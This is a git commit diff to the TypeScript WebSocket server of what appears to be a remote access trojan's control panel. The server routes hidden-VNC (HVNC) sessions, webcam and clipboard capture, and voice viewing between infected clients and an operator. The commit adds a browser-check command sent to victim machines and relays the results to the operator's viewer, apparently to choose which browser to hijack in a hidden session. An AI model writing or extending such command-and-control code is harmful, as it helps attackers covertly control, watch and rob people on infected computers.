add more browsers, browser checks and move SOL push to management

This commit is contained in:
KingKDot
2026-04-17 09:56:04 -05:00
parent d7a672d334
commit 2353f5a158
13 changed files with 462 additions and 98 deletions
@@ -85,6 +85,7 @@ type WsLifecycleDeps = {
handleWebcamDevices: (clientId: string, payload: any) => void;
handleHVNCCloneProgress: (clientId: string, payload: any) => void;
handleHVNCLookupResult: (clientId: string, payload: any) => void;
handleHVNCBrowserCheckResult: (clientId: string, payload: any) => void;
handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
handleClipboardContent: (clientId: string, payload: any) => void;
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
@@ -596,6 +597,9 @@ export async function handleWebSocketMessage(
case "hvnc_lookup_result":
deps.handleHVNCLookupResult(client.id, payload);
break;
case "hvnc_browser_check_result":
deps.handleHVNCBrowserCheckResult(client.id, payload);
break;
case "hvnc_dxgi_status":
deps.handleHVNCDXGIStatus(client.id, payload);
break;
@@ -610,6 +610,21 @@ export function handleHVNCLookupResult(clientId: string, payload: any) {
}
}
export function handleHVNCBrowserCheckResult(clientId: string, payload: any) {
const browsers: Record<string, boolean> = {};
if (payload.browsers && typeof payload.browsers === "object") {
for (const [key, val] of Object.entries(payload.browsers)) {
browsers[key] = !!val;
}
}
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
safeSendViewer(session.viewer, {
type: "hvnc_browser_check_result",
browsers,
});
}
}
export function handleHVNCDXGIStatus(clientId: string, payload: any) {
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
safeSendViewer(session.viewer, {
@@ -852,6 +867,9 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
case "hvnc_lookup":
sendHVNCCommand(target, "hvnc_lookup", { exe: String(payload.exe || "") });
break;
case "hvnc_browser_check":
sendHVNCCommand(target, "hvnc_browser_check", {});
break;
case "hvnc_start_process":
sendHVNCCommand(target, "hvnc_start_process", {
path: String(payload.path || ""),